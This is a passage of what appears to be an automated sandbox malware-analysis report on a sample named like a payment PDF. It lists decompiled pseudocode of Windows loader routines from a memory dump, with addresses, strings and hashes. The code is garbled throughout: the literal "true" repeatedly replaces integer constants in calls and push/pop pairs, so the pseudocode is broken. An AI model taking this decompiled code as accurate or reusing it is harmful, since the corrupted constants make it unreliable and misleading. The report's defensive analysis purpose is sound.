					_t74 = E3348AA60("true", _t126, 0x33441890, _t127 - 0x74);
					 *((intOrPtr*)(_t127 - 0x64)) = _t74;
					_t102 = _t126[2];
					if(_t74 < 0) {
						_t65 =  *_t126 & 0x0000ffff;
						_t122 =  *(_t127 - 0x7c);
						goto L20;
					}
					_t66 = (( *(_t127 - 0x74) & 0x0000ffff) >> 1) + 1;
					_t122 =  *(_t127 - 0x7c);
					goto L21;
				}
				if(_t106 == 1) {
					_push("true");
					_pop(_t108);
					 *((intOrPtr*)(_t127 - 0x78)) = _t108;
					 *((intOrPtr*)(_t127 - 0x70)) = 0;
					_push(_t127 - 0x70);
					_push(0);
					_push(0);
					_push(_t108);
					_push(_t127 - 0x78);
					_push(0x6b);
					 *((intOrPtr*)(_t127 - 0x64)) = L334B3FC0();
					 *((intOrPtr*)(_t127 - 0x64)) = 0;
					_t120 = L33485D90(_t108,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true",  *((intOrPtr*)(_t127 - 0x70)));
					 *((intOrPtr*)(_t127 - 0x6c)) = _t120;
					if(_t120 != 0) {
						_push(_t127 - 0x70);
						_push( *((intOrPtr*)(_t127 - 0x70)));
						_push(_t120);
						_push("true");
						_push(_t127 - 0x78);
						_push(0x6b);
						_t84 = L334B3FC0();
						 *((intOrPtr*)(_t127 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t113 = 0;
						_t109 = 0;
						while(1) {
							 *((intOrPtr*)(_t127 - 0x84)) = _t113;
							 *(_t127 - 0x88) = _t109;
							if(_t109 >= ( *(_t120 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t113 = _t113 + ( *(_t109 * 0x2c + _t120 + 0x21) & 0x000000ff);
							_t109 = _t109 + 1;
						}
						_t88 = E334EE048(_t109, _t127 - 0x3c, 0x20, _t127 - 0x8c, 0, 0, L"%u", _t113);
						_t129 = _t129 + 0x1c;
						 *((intOrPtr*)(_t127 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t102 = _t127 - 0x3c;
						_t66 =  *((intOrPtr*)(_t127 - 0x8c)) - _t127 - 0x3c >> 1;
						goto L21;
					}
					_t68 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t127 - 0x60);
				_push(0x5a);
				_t94 = E334B2D10();
				 *((intOrPtr*)(_t127 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t127 - 0x50)) == 1) {
					_t102 = L"Legacy";
					_push("true");
				} else {
					_t102 = L"UEFI";
					_push("true");
				}
				_pop(_t66);
				goto L21;
			}

0x334ee372
0x334ee377
0x334ee37c
0x334ee381
0x334ee384
0x334ee387
0x334ee38c
0x334ee38f
0x334ee394
0x334ee397
0x334ee39a
0x334ee39c
0x334ee4f6
0x334ee505
0x334ee50a
0x334ee50e
0x334ee514
0x334ee517
0x334ee51d
0x334ee51d
0x334ee51f
0x334ee51f
0x334ee524
0x334ee557
0x334ee558
0x334ee55a
0x334ee55f
0x334ee55f
0x334ee562
0x334ee562
0x334ee569
0x334ee571
0x334ee57d
0x334ee57d
0x334ee529
0x334ee54a
0x334ee554
0x334ee554
0x00000000
0x334ee54a
0x334ee52b
0x334ee52d
0x334ee533
0x334ee540
0x334ee544
0x00000000
0x334ee544
0x334ee3a2
0x334ee3a5
0x334ee4b5
0x334ee4c4
0x334ee4c9
0x334ee4cc
0x334ee4d4
0x334ee4e2
0x334ee4e5
0x00000000
0x334ee4e5
0x334ee4dc
0x334ee4dd
0x00000000
0x334ee4dd
0x334ee3ae
0x334ee3e7
0x334ee3e9
0x334ee3ea
0x334ee3ed
0x334ee3f3
0x334ee3f4
0x334ee3f5
0x334ee3f6
0x334ee3fa
0x334ee3fb
0x334ee402
0x334ee405
0x334ee41b
0x334ee41d
0x334ee422
0x334ee431
0x334ee432
0x334ee435
0x334ee436
0x334ee43b
0x334ee43c
0x334ee43e
0x334ee443
0x334ee448
0x00000000
0x00000000
0x334ee44e
0x334ee450
0x334ee452
0x334ee452
0x334ee458
0x334ee464
0x00000000
0x00000000
0x334ee46e
0x334ee470
0x334ee470
0x334ee488
0x334ee48d
0x334ee490
0x334ee495
0x00000000
0x00000000
0x334ee49b
0x334ee4a8
0x00000000
0x334ee4a8
0x334ee424
0x00000000
0x334ee424
0x334ee3b0
0x334ee3b1
0x334ee3b6
0x334ee3b7
0x334ee3b9
0x334ee3be
0x334ee3c3
0x00000000
0x00000000
0x334ee3cf
0x334ee3da
0x334ee3df
0x334ee3d1
0x334ee3d1
0x334ee3d6
0x334ee3d6
0x334ee3e1
0x00000000

Strings

Legacy, xrefs: 334EE3DA
UEFI, xrefs: 334EE3D1

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 0843fe3cdfa5d8f634ae1f8dd6a18232e902b1102f55f51001d1b874d98ac153
Instruction ID: 41ae5abb9f7818ea30509d851e7caaca947ae9f58a5eaba4b910ebfb30bbe53f
Opcode Fuzzy Hash: 0843fe3cdfa5d8f634ae1f8dd6a18232e902b1102f55f51001d1b874d98ac153
Instruction Fuzzy Hash: 8C618CB2E007089FEB14CFA8C840AADB7B8FB44341F54446DE559EB261EA31D985CB58

Uniqueness

Uniqueness Score: -1.00%

Function 3354B55F Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 3354B5C4
RedirectedKey, xrefs: 3354B60E

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 0-1388552009
Opcode ID: 8dbd631b003c539b023912cb3e28cbb388d763b23ce79c729f57f380d0e0555a
Instruction ID: 691ac48970568e35e3ab074ad56401aea4afb4804fd017d3160aa5546b9bd0a7
Opcode Fuzzy Hash: 8dbd631b003c539b023912cb3e28cbb388d763b23ce79c729f57f380d0e0555a
Instruction Fuzzy Hash: A761D4B5C01219EFDB15DF94D948ADEBFF8FB08714F50406AF845A7240E7749A46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 3348F640 Relevance: 2.7, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E3348F640(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t76;
				void* _t85;
				intOrPtr _t89;
				intOrPtr _t96;
				signed int _t99;
				signed int _t109;
				signed int _t114;
				signed int _t117;
				void* _t120;
				intOrPtr _t123;
				signed int _t128;
				signed int _t129;
				intOrPtr _t135;
				intOrPtr _t137;
				void* _t139;
				void* _t141;

				_push(0x78);
				_push(0x3354c3a0);
				E334C7BE4(__ebx, __edi, __esi);
				_t137 =  *[fs:0x18];
				 *((intOrPtr*)(_t139 - 0x24)) = _t137;
				_t74 =  *[fs:0x30];
				 *((intOrPtr*)(_t139 - 0x2c)) =  *[fs:0x30];
				_t128 =  *(_t137 + 0xfb4);
				 *(_t139 - 0x20) = _t128;
				if(_t128 != 0) {
					_push("true");
					_t121 = _t128;
					E33474779(_t74, _t128);
				}
				if(( *( *[fs:0x18] + 0xfca) & 0x00000008) != 0) {
					_t76 =  *[fs:0x18];
					__eflags =  *(_t76 + 0xfca) & 0x00000020;
					if(( *(_t76 + 0xfca) & 0x00000020) == 0) {
						L26:
						_t109 = 0;
						L19:
						__eflags = _t128;
						if(_t128 != 0) {
							 *(_t137 + 0xfb4) = _t109;
							_push("true");
							_t121 = _t128;
							E33474779(_t76, _t128);
						}
						_t129 =  *(_t137 + 0xf94);
						__eflags = _t129;
						if(_t129 != 0) {
							 *(_t137 + 0xf94) = _t109;
							L3347FED0(0x33565b40);
							_push(0x33565b40);
							E3347E740(_t111);
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109, _t129);
						}
						__eflags =  *(_t137 + 0xfca) & 0x00000004;
						if(( *(_t137 + 0xfca) & 0x00000004) != 0) {
							 *(_t137 + 0x10) = _t109;
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109,  *(_t137 + 0x10));
						}
						L334A4940();
						_t85 = 0x400;
						__eflags =  *(_t137 + 0xfca) & 0x00000400;
						if(( *(_t137 + 0xfca) & 0x00000400) != 0) {
							__eflags =  *0x335665f4 - 3;
							if( *0x335665f4 == 3) {
								_t85 = E33544080(_t111, _t121);
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t139 - 0x10));
						return _t85;
					}
				}
				_t76 = 0x2000;
				if(( *(_t137 + 0xfca) & 0x00002000) != 0) {
					goto L26;
				}
				_t111 = 0x1000;
				_t109 = 0;
				if(( *( *[fs:0x18] + 0xfca) & 0x00001000) != 0) {
					 *((char*)(_t139 - 0x19)) = 1;
				} else {
					 *((char*)(_t139 - 0x19)) = 0;
					_t111 = 0;
					L334919DF(0);
				}
				E33492755(_t121);
				 *(_t139 - 4) = _t109;
				_t89 =  *0x33565da0; // 0x3167348
				while(_t89 != 0x33565d9c) {
					_t16 = _t89 - 0x10; // 0x3167338
					_t123 = _t16;
					 *((intOrPtr*)(_t139 - 0x30)) = _t123;
					_t18 = _t89 + 4; // 0x3167138
					_t96 =  *_t18;
					 *((intOrPtr*)(_t139 - 0x28)) = _t96;
					 *((intOrPtr*)(_t139 - 0x38)) = _t96;
					_t21 = _t123 + 0x34; // 0xca2cc
					_t111 =  *_t21;
					_t24 = _t123 + 0x18; // 0x6fbf0000
					if( *((intOrPtr*)( *((intOrPtr*)(_t139 - 0x2c)) + 8)) !=  *_t24 && (_t111 & 0x00040000) == 0) {
						_t27 = _t123 + 0x1c; // 0x6fbf9bf0
						_t99 =  *_t27;
						 *(_t139 - 0x34) = _t99;
						if(_t99 != 0 && _t111 == 0x80004) {
							 *(_t139 - 0x3c) = _t99;
							 *((intOrPtr*)(_t139 - 0x60)) = 0x24;
							 *(_t139 - 0x5c) = 1;
							_push("true");
							_pop(_t117);
							memset(_t139 - 0x58, 0, _t117 << 2);
							_t141 = _t141 + 0xc;
							_t34 = _t123 + 0x48; // 0x0
							L3348DC40(_t139 - 0x60,  *_t34);
							 *(_t139 - 4) = 1;
							_t135 =  *((intOrPtr*)(_t139 - 0x30));
							_t155 =  *((intOrPtr*)(_t135 + 0x3a)) - _t109;
							if( *((intOrPtr*)(_t135 + 0x3a)) != _t109) {
								_push("true");
								_pop(_t120);
								E3348F0A3(_t109, _t120, _t135, _t135, _t137, _t155);
							}
							_push(_t109);
							_push("true");
							_t111 =  *(_t139 - 0x34);
							L3348DCD1(_t109,  *(_t139 - 0x34),  *((intOrPtr*)(_t135 + 0x18)), _t135, _t137, _t155);
							 *(_t139 - 4) = _t109;
							_t128 =  *(_t139 - 0x20);
							L3348F85E();
						}
					}
					_t89 =  *((intOrPtr*)(_t139 - 0x28));
				}
				_t121 =  *0x33565b24; // 0x3142d38
				__eflags =  *((intOrPtr*)(_t121 + 0x3a)) - _t109;
				if( *((intOrPtr*)(_t121 + 0x3a)) != _t109) {
					 *((intOrPtr*)(_t139 - 0x84)) = 0x24;
					 *(_t139 - 0x80) = 1;
					_push("true");
					_pop(_t114);
					__eflags = 0;
					memset(_t139 - 0x7c, 0, _t114 << 2);
					_t49 = _t121 + 0x48; // 0x0
					L3348DC40(_t139 - 0x84,  *_t49);
					 *(_t139 - 4) = 2;
					_t121 =  *0x33565b24; // 0x3142d38
					_push("true");
					_pop(_t111);
					E3348F0A3(_t109, _t111, _t121, _t139 - 0x7c + _t114, _t137, __eflags);
					 *(_t139 - 4) = _t109;
					_t128 =  *(_t139 - 0x20);
					L3348F87D();
				}
				 *(_t139 - 4) = 0xfffffffe;
				L3348F867(_t109, _t111);
				_t76 = E334A6540(_t111);
				goto L19;
			}

0x3348f640
0x3348f642
0x3348f647
0x3348f64c
0x3348f653
0x3348f656
0x3348f65c
0x3348f65f
0x3348f665
0x3348f66a
0x3348f66c
0x3348f66e
0x3348f670
0x3348f670
0x3348f682
0x334d9c28
0x334d9c2e
0x334d9c35
0x3348f857
0x3348f857
0x3348f7da
0x3348f7da
0x3348f7dc
0x3348f7de
0x3348f7e4
0x3348f7e6
0x3348f7e8
0x3348f7e8
0x3348f7ed
0x3348f7f3
0x3348f7f5
0x3348f82b
0x3348f836
0x3348f83b
0x3348f840
0x3348f850
0x3348f850
0x3348f7f7
0x3348f7fe
0x334d9c79
0x334d9c87
0x334d9c87
0x3348f804
0x3348f809
0x3348f80e
0x3348f815
0x334d9c91
0x334d9c98
0x334d9c9e
0x334d9c9e
0x334d9c98
0x3348f81e
0x3348f82a
0x3348f82a
0x334d9c3b
0x3348f688
0x3348f694
0x00000000
0x00000000
0x3348f6a0
0x3348f6a5
0x3348f6ae
0x334d9c40
0x3348f6b4
0x3348f6b4
0x3348f6b7
0x3348f6b9
0x3348f6b9
0x3348f6be
0x3348f6c3
0x3348f6c6
0x3348f6cb
0x3348f6d6
0x3348f6d6
0x3348f6d9
0x3348f6dc
0x3348f6dc
0x3348f6df
0x3348f6e2
0x3348f6e5
0x3348f6e5
0x3348f6ee
0x3348f6f1
0x3348f6fb
0x3348f6fb
0x3348f6fe
0x3348f703
0x3348f713
0x3348f716
0x3348f71d
0x3348f724
0x3348f726
0x3348f72c
0x3348f72c
0x3348f72e
0x3348f734
0x3348f739
0x3348f740
0x3348f743
0x3348f747
0x3348f74b
0x3348f74d
0x3348f74e
0x3348f74e
0x3348f753
0x3348f754
0x3348f759
0x3348f75c
0x3348f761
0x3348f764
0x3348f767
0x3348f767
0x3348f703
0x3348f76c
0x3348f76c
0x3348f774
0x3348f77a
0x3348f77e
0x3348f780
0x3348f78a
0x3348f791
0x3348f793
0x3348f794
0x3348f799
0x3348f79b
0x3348f7a4
0x3348f7a9
0x3348f7b0
0x3348f7b6
0x3348f7b8
0x3348f7b9
0x3348f7be
0x3348f7c1
0x3348f7c4
0x3348f7c4
0x3348f7c9
0x3348f7d0
0x3348f7d5
0x00000000

Strings

$, xrefs: 3348F780
$, xrefs: 3348F716

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: efc1d61518116a9de919cd32f0355e0c28af3353e2d4bcb7004567c45c46706b
Instruction ID: 173f7596ce4fdd31472ff2d86c85d7102f332fa3be37881e02b6441f8d8940c2
Opcode Fuzzy Hash: efc1d61518116a9de919cd32f0355e0c28af3353e2d4bcb7004567c45c46706b
Instruction Fuzzy Hash: 8F61BBB5E017498FEB20CFA8E580B99B7F1BB44704F04466DD415AFB91CB76A981CB88

Uniqueness

Uniqueness Score: -1.00%

Function 3350314A Relevance: 2.6, Strings: 2, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E3350314A(void* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v36;
				char _v44;
				char* _v48;
				short _v50;
				char _v52;
				char* _v56;
				short _v58;
				char _v60;
				intOrPtr* _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t29;
				short _t30;
				void* _t31;
				signed char* _t32;
				void* _t42;
				signed char* _t46;
				signed char* _t53;
				void* _t54;
				short _t57;
				intOrPtr* _t61;
				void* _t65;
				void* _t67;
				signed char* _t69;
				void* _t70;
				signed int _t72;

				_t63 = __edx;
				_t74 = (_t72 & 0xfffffff8) - 0x3c;
				_v8 =  *0x3356b370 ^ (_t72 & 0xfffffff8) - 0x0000003c;
				_t65 = __ecx;
				_v64 = __edx;
				_t57 = 0x2e;
				_t29 = 0x30;
				_v58 = _t29;
				_t30 = 0x2c;
				_v60 = _t57;
				_v56 = L"LdrResGetRCConfig Enter";
				_v52 = _t30;
				_v50 = _t57;
				_v48 = L"LdrResGetRCConfig Exit";
				_t31 = L33483C40();
				_t53 = 0x7ffe0385;
				if(_t31 == 0) {
					_t32 = 0x7ffe0385;
				} else {
					_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				}
				_t69 = 0x7ffe0384;
				if(( *_t32 & 0x00000001) != 0) {
					if(L33483C40() == 0) {
						_t46 = 0x7ffe0384;
					} else {
						_t46 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_t63 =  *_t46 & 0x000000ff;
					L334FFC01( &_v60,  *_t46 & 0x000000ff);
				}
				if(_v64 == 0 || _t65 == 0 || _t65 == 0xffffffff) {
					_t66 = 0xc000000d;
					goto L14;
				} else {
					_push("true");
					_push(0x18);
					_push( &_v36);
					_push( &_v44);
					_push(_t65);
					_t42 = L334B2AA0();
					_t66 = _t42;
					if(_t42 < 0) {
						L20:
						_pop(_t67);
						_pop(_t70);
						_pop(_t54);
						return E334B4B50(_t66, _t54, _v8 ^ _t74, _t63, _t67, _t70);
					}
					_t61 = _v64;
					 *_t61 = _v28;
					 *((intOrPtr*)(_t61 + 4)) = _v24;
					L14:
					if(L33483C40() != 0) {
						_t53 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t53 & 0x00000001) != 0) {
						if(L33483C40() != 0) {
							_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_t63 =  *_t69 & 0x000000ff;
						L334FFC01( &_v52,  *_t69 & 0x000000ff);
					}
					goto L20;
				}
			}

0x3350314a
0x33503152
0x3350315c
0x33503165
0x33503167
0x3350316b
0x3350316e
0x33503171
0x33503176
0x33503177
0x3350317c
0x33503184
0x33503189
0x3350318e
0x33503196
0x3350319b
0x335031a2
0x335031b4
0x335031a4
0x335031ad
0x335031ad
0x335031b9
0x335031be
0x335031c7
0x335031d9
0x335031c9
0x335031d2
0x335031d2
0x335031db
0x335031e2
0x335031e2
0x335031ec
0x33503224
0x00000000
0x335031f7
0x335031f7
0x335031f9
0x335031ff
0x33503204
0x33503205
0x33503206
0x3350320b
0x3350320f
0x3350326a
0x33503270
0x33503271
0x33503272
0x3350327d
0x3350327d
0x33503211
0x33503219
0x3350321f
0x33503229
0x33503230
0x3350323b
0x3350323b
0x33503244
0x3350324d
0x33503258
0x33503258
0x3350325e
0x33503265
0x33503265
0x00000000
0x33503244

Strings

LdrResGetRCConfig Enter, xrefs: 3350317C
LdrResGetRCConfig Exit, xrefs: 3350318E

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: 26b9906fef049330e7ad9b0b931c24c626d159e90a4438e1b169c1de4e2bd173
Instruction ID: 20778741203b004868d2193351a6e0bebed8a6e57672965f52617833f83df99b
Opcode Fuzzy Hash: 26b9906fef049330e7ad9b0b931c24c626d159e90a4438e1b169c1de4e2bd173
Instruction Fuzzy Hash: 1E319C766087819FD301DB69E840B1AB7E4FF99750F080869F854CB390EB32D905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 334706CF Relevance: 2.6, Strings: 2, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E334706CF(char __ecx, signed int __edx, intOrPtr _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32) {
				char _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v28;
				void* _v32;
				void* _v36;
				void* __ebx;
				intOrPtr _t26;
				signed int _t37;
				intOrPtr _t49;
				void* _t52;
				signed int _t54;
				void* _t56;
				intOrPtr _t57;

				_t56 = (_t54 & 0xfffffff8) - 0xc;
				_v12 = __ecx;
				_t37 = __edx;
				_v16 = 0;
				_t49 = 0;
				_t57 =  *0x33565da8; // 0x0
				if(_t57 != 0) {
					_t52 = 0xc000010a;
					L9:
					return _t52;
				}
				_t52 = L33470FB0(__ecx, __edx, 0x335667c0, 0x3346ea20, 0, 0);
				if(_t52 < 0) {
					goto L9;
				}
				_t40 = _a16;
				if(_a16 != 0) {
					_t49 = L3346DE45(_t40);
					if(_t49 != 0) {
						goto L3;
					}
					_t52 = 0xc0000017;
					goto L9;
				}
				L3:
				_t47 = _t37;
				_t52 = L334709F0( &_v12, _t37, _a4, _a8, _t49, _a20, _a24);
				if(_t52 < 0) {
					L12:
					_t26 = _v12;
					L7:
					if(_t26 != 0) {
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
					}
					if(_t49 != 0) {
						E3346C0F6(_t37, _t49, _t47);
					}
					goto L9;
				}
				_t9 =  &_a32; // 0x3346ea20
				_push( *_t9);
				_t47 = _a12;
				_t11 = _t56 + 0x18; // 0x3346ea20
				_push(_a28);
				_t49 = 0;
				_t52 = L334708CD(_t11, _a12);
				if(_t52 < 0) {
					goto L12;
				}
				_t37 =  *(_t56 + 0xc);
				 *( *(_t56 + 0x10)) = _t37;
				_t47 = _t37;
				_t52 = E334707A7(_a4, _t37);
				if(_t52 < 0) {
					_t47 = _t37;
					 *( *(_t56 + 0x10)) =  *( *(_t56 + 0x10)) & 0;
					E3349EB1C( *((intOrPtr*)(_t37 + 0xc)), _t37, _t56 + 0x10);
				}
				_t26 = 0;
				goto L7;
			}

0x334706d7
0x334706dd
0x334706e1
0x334706e3
0x334706e9
0x334706eb
0x334706f1
0x334cea3e
0x3347077b
0x33470783
0x33470783
0x33470708
0x3347070c
0x00000000
0x00000000
0x3347070e
0x33470713
0x3347078b
0x3347078f
0x00000000
0x00000000
0x33470791
0x00000000
0x33470791
0x33470715
0x33470718
0x3347072d
0x33470731
0x33470798
0x33470798
0x3347076f
0x33470771
0x334cea6e
0x334cea6e
0x33470779
0x334707a0
0x334707a0
0x00000000
0x33470779
0x33470733
0x33470733
0x33470736
0x33470739
0x3347073d
0x33470740
0x33470747
0x3347074b
0x00000000
0x00000000
0x33470751
0x33470755
0x3347075c
0x33470763
0x33470767
0x334cea4c
0x334cea4e
0x334cea58
0x334cea58
0x3347076d
0x00000000

Strings

F3, xrefs: 33470733
F3, xrefs: 33470739

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: F3$ F3
API String ID: 0-2416232348
Opcode ID: ad44befa1e78c372e4c21f9c296dd98c010cbbce3afc1836886bb8fe3808c4a2
Instruction ID: 88216253c7ad7c69dfb30d681dd9fd45fc6cbccfeefa8c1f09dcdacb8ed0e006
Opcode Fuzzy Hash: ad44befa1e78c372e4c21f9c296dd98c010cbbce3afc1836886bb8fe3808c4a2
Instruction Fuzzy Hash: 4631BF7AA06701AFD711DF28C890EDB77A9EF846A0F054529FC6597310EA34DC068BA9

Uniqueness

Uniqueness Score: -1.00%

Function 334A31BE Relevance: 2.6, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E334A31BE(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x3356b370 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_push("true");
				_t59 = __ecx;
				_pop(_t55);
				if(L334858B0(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E334B4B50(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = L334B2D80();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E334B2A80();
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x334a31c6
0x334a31d0
0x334a31db
0x334a31df
0x334a31e0
0x334a31e6
0x334a31e7
0x334a31e8
0x334a31e9
0x334a31ea
0x334a31ec
0x334a31ee
0x334a31f6
0x334a32ae
0x334a3275
0x334a3279
0x334a327a
0x334a327b
0x334a3286
0x334a3286
0x334a3200
0x334a3204
0x334a320b
0x334a328b
0x334a3293
0x334a3297
0x334a320d
0x334a320d
0x334a320d
0x334a320f
0x334a3217
0x334a321f
0x334a3224
0x334a322c
0x334a322d
0x334a3235
0x334a3239
0x334a323d
0x334a3242
0x334a3246
0x334a324a
0x334a32a3
0x334a32a7
0x00000000
0x00000000
0x334e27e6
0x334e27e9
0x334e27f9
0x00000000
0x334a324c
0x334a324c
0x334a325a
0x334a3261
0x334a3287
0x334a3263
0x334a3269
0x334a32b6
0x334a32b6
0x334a3269
0x334a3273
0x00000000
0x334a3273

Strings

.Local\, xrefs: 334A31D5
@, xrefs: 334A322D

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: 5c595b62e1d4eaa4612a2e064db5807355ea4b060506582ed2af8ab0c917df80
Instruction ID: 4b7a25342931edc92c6f04a33ff396ad4715b9c246568f5cf3943a5ac2561a9a
Opcode Fuzzy Hash: 5c595b62e1d4eaa4612a2e064db5807355ea4b060506582ed2af8ab0c917df80
Instruction Fuzzy Hash: 0631A1B6908301AFD310CF2CC880A5BBBE8FB95654F44092EF99497250F631DD098BDA

Uniqueness

Uniqueness Score: -1.00%

Function 334A33D0 Relevance: 2.6, Strings: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E334A33D0(signed int* __ecx, signed int __edx, void* _a4) {
				signed int _v8;
				void* _t17;
				signed int* _t26;
				signed int _t29;
				void* _t34;
				signed int _t41;

				_push(__ecx);
				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_t26 = __ecx;
				_t41 = __edx;
				if(__ecx == 0 || __edx == 0) {
					_push(_t41);
					_push(_t26);
					L334FEF10(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Map        : 0x%p\nSXS:    EntryCount : 0x%lx\n", "RtlpInitializeAssemblyStorageMap");
					_t17 = 0xc000000d;
				} else {
					_t34 = _a4;
					if(_t34 == 0) {
						_push("true");
